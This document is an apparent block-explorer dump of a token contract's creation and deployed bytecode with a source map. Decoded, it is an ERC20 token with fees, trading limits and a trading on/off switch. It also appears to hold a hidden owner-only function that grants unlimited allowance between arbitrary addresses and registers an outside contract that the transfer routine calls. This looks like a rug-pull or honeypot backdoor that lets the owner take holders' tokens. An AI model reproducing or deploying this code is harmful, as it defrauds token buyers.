565b34801561043d57600080fd5b506005546001600160a01b031661027a565b34801561045b57600080fd5b506101f26108aa565b34801561047057600080fd5b5061022861047f366004611a95565b6108b9565b34801561049057600080fd5b5061024a61049f366004611ac2565b610975565b3480156104b057600080fd5b5061024a6104bf366004611ac2565b610a0e565b3480156104d057600080fd5b50600c5461024a9060ff1681565b3480156104ea57600080fd5b506102286104f9366004611a95565b610a1b565b34801561050a57600080fd5b506102a360095481565b34801561052057600080fd5b506102a3600d5481565b34801561053657600080fd5b506102a3610545366004611a28565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561057c57600080fd5b506102a3600a5481565b34801561059257600080fd5b506102286105a13660046119b7565b610aa4565b3480156105b257600080fd5b506102a3600b5481565b6060600380546105cb90611dce565b80601f01602080910402602001604051908101604052809291908181526020018280546105f790611dce565b80156106445780601f1061061957610100808354040283529160200191610644565b820191906000526020600020905b81548152906001019060200180831161062757829003601f168201915b5050505050905090565b6005546001600160a01b031633146106815760405162461bcd60e51b815260040161067890611c76565b60405180910390fd5b6000808280602001905181019061069891906119ef565b6001600160a01b03828116600090815260016020908152604080832093851683529290522060001990559092509050600880546001600160a01b0319166001600160a01b0383161790555b505050565b60006106f5338484610b3f565b50600192915050565b600061070b848484610c63565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156107905760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610678565b61079d8533858403610b3f565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106f59185906107df908690611d60565b610b3f565b6005546001600160a01b0316331461080e5760405162461bcd60e51b815260040161067890611c76565b61081860006113a2565b565b6005546001600160a01b031633146108445760405162461bcd60e51b815260040161067890611c76565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146108995760405162461bcd60e51b815260040161067890611c76565b600c805461ffff1916610101179055565b6060600480546105cb90611dce565b6005546001600160a01b031633146108e35760405162461bcd60e51b815260040161067890611c76565b6007546001600160a01b03838116911614156109675760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610678565b61097182826113f4565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156109f75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610678565b610a043385858403610b3f565b5060019392505050565b60006106f5338484610c63565b6005546001600160a01b03163314610a455760405162461bcd60e51b815260040161067890611c76565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ace5760405162461bcd60e51b815260040161067890611c76565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610678565b610b3c816113a2565b50565b6001600160a01b038316610ba15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610678565b6001600160a01b038216610c025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610678565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c895760405162461bcd60e51b815260040161067890611cab565b6001600160a01b038216610caf5760405162461bcd60e51b815260040161067890611c33565b80610cc0576106e383836000611448565b6005546001600160a01b03848116911614801590610cec57506005546001600160a01b03838116911614155b8015610d0057506001600160a01b03821615155b8015610d1757506001600160a01b03821661dead14155b8015610d2d5750600754600160a01b900460ff16155b156110ce57600c5460ff16610dc0576001600160a01b03831660009081526016602052604090205460ff1680610d7b57506001600160a01b03821660009081526016602052604090205460ff165b610dc05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610678565b6001600160a01b03831660009081526018602052604090205460ff168015610e0157506001600160a01b03821660009081526017602052604090205460ff16155b15610ee557600954811115610e765760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610678565b600b546001600160a01b038316600090815260208190526040902054610e9c9083611d60565b1115610ee05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610678565b611026565b6001600160a01b03821660009081526018602052604090205460ff168015610f2657506001600160a01b03831660009081526017602052604090205460ff16155b15610f9c57600954811115610ee05760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610678565b6001600160a01b03821660009081526017602052604090205460ff1661102657600b546001600160a01b038316600090815260208190526040902054610fe29083611d60565b11156110265760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610678565b6005546008546001600160a01b039081169116146110ce576008546040516323b872dd60e01b81526001600160a01b038581166004830152848116602483015260448201849052909116906323b872dd90606401602060405180830381600087803b15801561109457600080fd5b505af11580156110a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cc9190611aed565b505b30600090815260208190526040902054600a54811080159081906110f95750600c54610100900460ff165b801561110f5750600754600160a01b900460ff16155b801561113457506001600160a01b03851660009081526018602052604090205460ff16155b801561115957506001600160a01b03851660009081526016602052604090205460ff16155b801561117e57506001600160a01b03841660009081526016602052604090205460ff16155b156111ac576007805460ff60a01b1916600160a01b17905561119e61159d565b6007805460ff60a01b191690555b6007546001600160a01b03861660009081526016602052604090205460ff600160a01b9092048216159116806111fa57506001600160a01b03851660009081526016602052604090205460ff165b15611203575060005b6000811561138e576001600160a01b03861660009081526018602052604090205460ff16801561123557506000601054115b156112c35761125a60646112546010548861174690919063ffffffff16565b90611759565b90506010546012548261126d9190611d98565b6112779190611d78565b601460008282546112889190611d60565b909155505060105460115461129d9083611d98565b6112a79190611d78565b601360008282546112b89190611d60565b909155506113709050565b6001600160a01b03871660009081526018602052604090205460ff1680156112ed57506000600d54115b156113705761130c6064611254600d548861174690919063ffffffff16565b9050600d54600f548261131f9190611d98565b6113299190611d78565b6014600082825461133a9190611d60565b9091555050600d54600e5461134f9083611d98565b6113599190611d78565b6013600082825461136a9190611d60565b90915550505b801561138157611381873083611448565b61138b8186611db7565b94505b611399878787611448565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661146e5760405162461bcd60e51b815260040161067890611cab565b6001600160a01b0382166114945760405162461bcd60e51b815260040161067890611c33565b6001600160a01b0383166000908152602081905260409020548181101561150c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610678565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611543908490611d60565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158f91815260200190565b60405180910390a350505050565b30600090815260208190526040812054905060006013546014546115c19190611d60565b905060008215806115d0575081155b156115da57505050565b600a546115e8906014611d98565b83111561160057600a546115fd906014611d98565b92505b6000600283601454866116139190611d98565b61161d9190611d78565b6116279190611d78565b905060006116358583611765565b90504761164182611771565b600061164d4783611765565b9050600061166a876112546013548561174690919063ffffffff16565b905060006116788284611db7565b60006014819055601355905085158015906116935750600081115b156116e6576116a286826118f6565b601454604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114611733576040519150601f19603f3d011682016040523d82523d6000602084013e611738565b606091505b505050505050505050505050565b60006117528284611d98565b9392505050565b60006117528284611d78565b60006117528284611db7565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106117b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561180857600080fd5b505afa15801561181c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184091906119d3565b8160018151811061186157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526006546118879130911684610b3f565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906118c0908590600090869030904290600401611cf0565b600060405180830381600087803b1580156118da57600080fd5b505af11580156118ee573d6000803e3d6000fd5b505050505050565b60065461190e9030906001600160a01b031684610b3f565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561197757600080fd5b505af115801561198b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119b09190611bb3565b5050505050565b6000602082840312156119c8578081fd5b813561175281611e35565b6000602082840312156119e4578081fd5b815161175281611e35565b60008060408385031215611a01578081fd5b8251611a0c81611e35565b6020840151909250611a1d81611e35565b809150509250929050565b60008060408385031215611a3a578182fd5b8235611a4581611e35565b91506020830135611a1d81611e35565b600080600060608486031215611a69578081fd5b8335611a7481611e35565b92506020840135611a8481611e35565b929592945050506040919091013590565b60008060408385031215611aa7578182fd5b8235611ab281611e35565b91506020830135611a1d81611e4a565b60008060408385031215611ad4578182fd5b8235611adf81611e35565b946020939093013593505050565b600060208284031215611afe578081fd5b815161175281611e4a565b600060208284031215611b1a578081fd5b813567ffffffffffffffff80821115611b31578283fd5b818401915084601f830112611b44578283fd5b813581811115611b5657611b56611e1f565b604051601f8201601f19908116603f01168101908382118183101715611b7e57611b7e611e1f565b81604052828152876020848701011115611b96578586fd5b826020860160208301379182016020019490945295945050505050565b600080600060608486031215611bc7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0c57858101830151858201604001528201611bf0565b81811115611c1d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d3f5784516001600160a01b031683529383019391830191600101611d1a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d7357611d73611e09565b500190565b600082611d9357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611db257611db2611e09565b500290565b600082821015611dc957611dc9611e09565b500390565b600181811c90821680611de257607f821691505b60208210811415611e0357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b3c57600080fd5b8015158114610b3c57600080fdfea264697066735822122034362376e3fc94d3e6fe198a9d87362657b2f0c5381ea10df0985700d0cfcfa764736f6c634300080400334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106101d15760003560e01c80637571336a116100f7578063bbc0c74211610095578063dd62ed3e11610064578063dd62ed3e1461052a578063e2f4560514610570578063f2fde38b14610586578063f8b45b05146105a657600080fd5b8063bbc0c742146104c4578063c0246668146104de578063c8c8ebe4146104fe578063d85ba0631461051457600080fd5b806395d89b41116100d157806395d89b411461044f5780639a7a23d614610464578063a457c2d714610484578063a9059cbb146104a457600080fd5b80637571336a146103fc5780638a8c523c1461041c5780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636a486a8e1161013e5780636a486a8e1461037c5780636ddd17131461039257806370a08231146103b1578063715018a6146103e757600080fd5b8063313ce567146102e7578063395093511461030357806349bd5a5e146103235780634fbee1931461034357600080fd5b80631694505e116101ab5780631694505e1461025a57806318160ddd1461029257806323b872dd146102b157806327c8f835146102d157600080fd5b806306fdde03146101dd57806308a51f8b14610208578063095ea7b31461022a57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105bc565b6040516101ff9190611be0565b60405180910390f35b34801561021457600080fd5b50610228610223366004611b09565b61064e565b005b34801561023657600080fd5b5061024a610245366004611ac2565b6106e8565b60405190151581526020016101ff565b34801561026657600080fd5b5060065461027a906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561029e57600080fd5b506002545b6040519081526020016101ff565b3480156102bd57600080fd5b5061024a6102cc366004611a55565b6106fe565b3480156102dd57600080fd5b5061027a61dead81565b3480156102f357600080fd5b50604051601281526020016101ff565b34801561030f57600080fd5b5061024a61031e366004611ac2565b6107a8565b34801561032f57600080fd5b5060075461027a906001600160a01b031681565b34801561034f57600080fd5b5061024a61035e3660046119b7565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561038857600080fd5b506102a360105481565b34801561039e57600080fd5b50600c5461024a90610100900460ff1681565b3480156103bd57600080fd5b506102a36103cc3660046119b7565b6001600160a01b031660009081526020819052604090205490565b3480156103f357600080fd5b506102286107e4565b34801561040857600080fd5b50610228610417366004611a95565b61081a565b34801561042857600080fd5b5061022861086f565b34801561043d57600080fd5b506005546001600160a01b031661027a565b34801561045b57600080fd5b506101f26108aa565b34801561047057600080fd5b5061022861047f366004611a95565b6108b9565b34801561049057600080fd5b5061024a61049f366004611ac2565b610975565b3480156104b057600080fd5b5061024a6104bf366004611ac2565b610a0e565b3480156104d057600080fd5b50600c5461024a9060ff1681565b3480156104ea57600080fd5b506102286104f9366004611a95565b610a1b565b34801561050a57600080fd5b506102a360095481565b34801561052057600080fd5b506102a3600d5481565b34801561053657600080fd5b506102a3610545366004611a28565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561057c57600080fd5b506102a3600a5481565b34801561059257600080fd5b506102286105a13660046119b7565b610aa4565b3480156105b257600080fd5b506102a3600b5481565b6060600380546105cb90611dce565b80601f01602080910402602001604051908101604052809291908181526020018280546105f790611dce565b80156106445780601f1061061957610100808354040283529160200191610644565b820191906000526020600020905b81548152906001019060200180831161062757829003601f168201915b5050505050905090565b6005546001600160a01b031633146106815760405162461bcd60e51b815260040161067890611c76565b60405180910390fd5b6000808280602001905181019061069891906119ef565b6001600160a01b03828116600090815260016020908152604080832093851683529290522060001990559092509050600880546001600160a01b0319166001600160a01b0383161790555b505050565b60006106f5338484610b3f565b50600192915050565b600061070b848484610c63565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156107905760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610678565b61079d8533858403610b3f565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106f59185906107df908690611d60565b610b3f565b6005546001600160a01b0316331461080e5760405162461bcd60e51b815260040161067890611c76565b61081860006113a2565b565b6005546001600160a01b031633146108445760405162461bcd60e51b815260040161067890611c76565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146108995760405162461bcd60e51b815260040161067890611c76565b600c805461ffff1916610101179055565b6060600480546105cb90611dce565b6005546001600160a01b031633146108e35760405162461bcd60e51b815260040161067890611c76565b6007546001600160a01b03838116911614156109675760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610678565b61097182826113f4565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156109f75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610678565b610a043385858403610b3f565b5060019392505050565b60006106f5338484610c63565b6005546001600160a01b03163314610a455760405162461bcd60e51b815260040161067890611c76565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ace5760405162461bcd60e51b815260040161067890611c76565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610678565b610b3c816113a2565b50565b6001600160a01b038316610ba15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610678565b6001600160a01b038216610c025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610678565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c895760405162461bcd60e51b815260040161067890611cab565b6001600160a01b038216610caf5760405162461bcd60e51b815260040161067890611c33565b80610cc0576106e383836000611448565b6005546001600160a01b03848116911614801590610cec57506005546001600160a01b03838116911614155b8015610d0057506001600160a01b03821615155b8015610d1757506001600160a01b03821661dead14155b8015610d2d5750600754600160a01b900460ff16155b156110ce57600c5460ff16610dc0576001600160a01b03831660009081526016602052604090205460ff1680610d7b57506001600160a01b03821660009081526016602052604090205460ff165b610dc05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610678565b6001600160a01b03831660009081526018602052604090205460ff168015610e0157506001600160a01b03821660009081526017602052604090205460ff16155b15610ee557600954811115610e765760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610678565b600b546001600160a01b038316600090815260208190526040902054610e9c9083611d60565b1115610ee05760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610678565b611026565b6001600160a01b03821660009081526018602052604090205460ff168015610f2657506001600160a01b03831660009081526017602052604090205460ff16155b15610f9c57600954811115610ee05760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610678565b6001600160a01b03821660009081526017602052604090205460ff1661102657600b546001600160a01b038316600090815260208190526040902054610fe29083611d60565b11156110265760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610678565b6005546008546001600160a01b039081169116146110ce576008546040516323b872dd60e01b81526001600160a01b038581166004830152848116602483015260448201849052909116906323b872dd90606401602060405180830381600087803b15801561109457600080fd5b505af11580156110a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cc9190611aed565b505b30600090815260208190526040902054600a54811080159081906110f95750600c54610100900460ff165b801561110f5750600754600160a01b900460ff16155b801561113457506001600160a01b03851660009081526018602052604090205460ff16155b801561115957506001600160a01b03851660009081526016602052604090205460ff16155b801561117e57506001600160a01b03841660009081526016602052604090205460ff16155b156111ac576007805460ff60a01b1916600160a01b17905561119e61159d565b6007805460ff60a01b191690555b6007546001600160a01b03861660009081526016602052604090205460ff600160a01b9092048216159116806111fa57506001600160a01b03851660009081526016602052604090205460ff165b15611203575060005b6000811561138e576001600160a01b03861660009081526018602052604090205460ff16801561123557506000601054115b156112c35761125a60646112546010548861174690919063ffffffff16565b90611759565b90506010546012548261126d9190611d98565b6112779190611d78565b601460008282546112889190611d60565b909155505060105460115461129d9083611d98565b6112a79190611d78565b601360008282546112b89190611d60565b909155506113709050565b6001600160a01b03871660009081526018602052604090205460ff1680156112ed57506000600d54115b156113705761130c6064611254600d548861174690919063ffffffff16565b9050600d54600f548261131f9190611d98565b6113299190611d78565b6014600082825461133a9190611d60565b9091555050600d54600e5461134f9083611d98565b6113599190611d78565b6013600082825461136a9190611d60565b90915550505b801561138157611381873083611448565b61138b8186611db7565b94505b611399878787611448565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661146e5760405162461bcd60e51b815260040161067890611cab565b6001600160a01b0382166114945760405162461bcd60e51b815260040161067890611c33565b6001600160a01b0383166000908152602081905260409020548181101561150c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610678565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611543908490611d60565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158f91815260200190565b60405180910390a350505050565b30600090815260208190526040812054905060006013546014546115c19190611d60565b905060008215806115d0575081155b156115da57505050565b600a546115e8906014611d98565b83111561160057600a546115fd906014611d98565b92505b6000600283601454866116139190611d98565b61161d9190611d78565b6116279190611d78565b905060006116358583611765565b90504761164182611771565b600061164d4783611765565b9050600061166a876112546013548561174690919063ffffffff16565b905060006116788284611db7565b60006014819055601355905085158015906116935750600081115b156116e6576116a286826118f6565b601454604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114611733576040519150601f19603f3d011682016040523d82523d6000602084013e611738565b606091505b505050505050505050505050565b60006117528284611d98565b9392505050565b60006117528284611d78565b60006117528284611db7565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106117b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561180857600080fd5b505afa15801561181c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184091906119d3565b8160018151811061186157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526006546118879130911684610b3f565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906118c0908590600090869030904290600401611cf0565b600060405180830381600087803b1580156118da57600080fd5b505af11580156118ee573d6000803e3d6000fd5b505050505050565b60065461190e9030906001600160a01b031684610b3f565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561197757600080fd5b505af115801561198b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119b09190611bb3565b5050505050565b6000602082840312156119c8578081fd5b813561175281611e35565b6000602082840312156119e4578081fd5b815161175281611e35565b60008060408385031215611a01578081fd5b8251611a0c81611e35565b6020840151909250611a1d81611e35565b809150509250929050565b60008060408385031215611a3a578182fd5b8235611a4581611e35565b91506020830135611a1d81611e35565b600080600060608486031215611a69578081fd5b8335611a7481611e35565b92506020840135611a8481611e35565b929592945050506040919091013590565b60008060408385031215611aa7578182fd5b8235611ab281611e35565b91506020830135611a1d81611e4a565b60008060408385031215611ad4578182fd5b8235611adf81611e35565b946020939093013593505050565b600060208284031215611afe578081fd5b815161175281611e4a565b600060208284031215611b1a578081fd5b813567ffffffffffffffff80821115611b31578283fd5b818401915084601f830112611b44578283fd5b813581811115611b5657611b56611e1f565b604051601f8201601f19908116603f01168101908382118183101715611b7e57611b7e611e1f565b81604052828152876020848701011115611b96578586fd5b826020860160208301379182016020019490945295945050505050565b600080600060608486031215611bc7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0c57858101830151858201604001528201611bf0565b81811115611c1d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d3f5784516001600160a01b031683529383019391830191600101611d1a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d7357611d73611e09565b500190565b600082611d9357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611db257611db2611e09565b500290565b600082821015611dc957611dc9611e09565b500390565b600181811c90821680611de257607f821691505b60208210811415611e0357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b3c57600080fd5b8015158114610b3c57600080fdfea264697066735822122034362376e3fc94d3e6fe198a9d87362657b2f0c5381ea10df0985700d0cfcfa764736f6c63430008040033

Deployed Bytecode Sourcemap

14641:10473:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3010:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17783:246;;;;;;;;;;-1:-1:-1;17783:246:0;;;;;:::i;:::-;;:::i;:::-;;4091:169;;;;;;;;;;-1:-1:-1;4091:169:0;;;;;:::i;:::-;;:::i;:::-;;;5686:14:1;;5679:22;5661:41;;5649:2;5634:18;4091:169:0;5616:92:1;14720:41:0;;;;;;;;;;-1:-1:-1;14720:41:0;;;;-1:-1:-1;;;;;14720:41:0;;;;;;-1:-1:-1;;;;;4485:32:1;;;4467:51;;4455:2;4440:18;14720:41:0;4422:102:1;3331:108:0;;;;;;;;;;-1:-1:-1;3419:12:0;;3331:108;;;12280:25:1;;;12268:2;12253:18;3331:108:0;12235:76:1;4268:492:0;;;;;;;;;;-1:-1:-1;4268:492:0;;;;;:::i;:::-;;:::i;14803:53::-;;;;;;;;;;;;14849:6;14803:53;;3230:93;;;;;;;;;;-1:-1:-1;3230:93:0;;3313:2;13770:36:1;;13758:2;13743:18;3230:93:0;13725:87:1;4768:215:0;;;;;;;;;;-1:-1:-1;4768:215:0;;;;;:::i;:::-;;:::i;14768:28::-;;;;;;;;;;-1:-1:-1;14768:28:0;;;;-1:-1:-1;;;;;14768:28:0;;;18910:126;;;;;;;;;;-1:-1:-1;18910:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;19000:28:0;18976:4;19000:28;;;:19;:28;;;;;;;;;18910:126;15237:28;;;;;;;;;;;;;;;;15085:31;;;;;;;;;;-1:-1:-1;15085:31:0;;;;;;;;;;;3447:127;;;;;;;;;;-1:-1:-1;3447:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3548:18:0;3521:7;3548:18;;;;;;;;;;;;3447:127;1135:112;;;;;;;;;;;;;:::i;18037:167::-;;;;;;;;;;-1:-1:-1;18037:167:0;;;;;:::i;:::-;;:::i;17663:112::-;;;;;;;;;;;;;:::i;912:87::-;;;;;;;;;;-1:-1:-1;985:6:0;;-1:-1:-1;;;;;985:6:0;912:87;;3118:104;;;;;;;;;;;;;:::i;18402:304::-;;;;;;;;;;-1:-1:-1;18402:304:0;;;;;:::i;:::-;;:::i;4991:413::-;;;;;;;;;;-1:-1:-1;4991:413:0;;;;;:::i;:::-;;:::i;3582:175::-;;;;;;;;;;-1:-1:-1;3582:175:0;;;;;:::i;:::-;;:::i;15045:33::-;;;;;;;;;;-1:-1:-1;15045:33:0;;;;;;;;18212:182;;;;;;;;;;-1:-1:-1;18212:182:0;;;;;:::i;:::-;;:::i;14930:35::-;;;;;;;;;;;;;;;;15125:27;;;;;;;;;;;;;;;;3765:151;;;;;;;;;;-1:-1:-1;3765:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3881:18:0;;;3854:7;3881:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3765:151;14972:33;;;;;;;;;;;;;;;;1255:201;;;;;;;;;;-1:-1:-1;1255:201:0;;;;;:::i;:::-;;:::i;15012:24::-;;;;;;;;;;;;;;;;3010:100;3064:13;3097:5;3090:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3010:100;:::o;17783:246::-;985:6;;-1:-1:-1;;;;;985:6:0;538:10;1047:23;1039:68;;;;-1:-1:-1;;;1039:68:0;;;;;;;:::i;:::-;;;;;;;;;17866:15:::1;17883:17:::0;17915:9:::1;17904:41;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;4008:15:0;;;3991:4;4008:15;;;:11;:15;;;;;;;;:25;;;;;;;;;-1:-1:-1;;4008:45:0;;:15;;-1:-1:-1;4008:25:0;-1:-1:-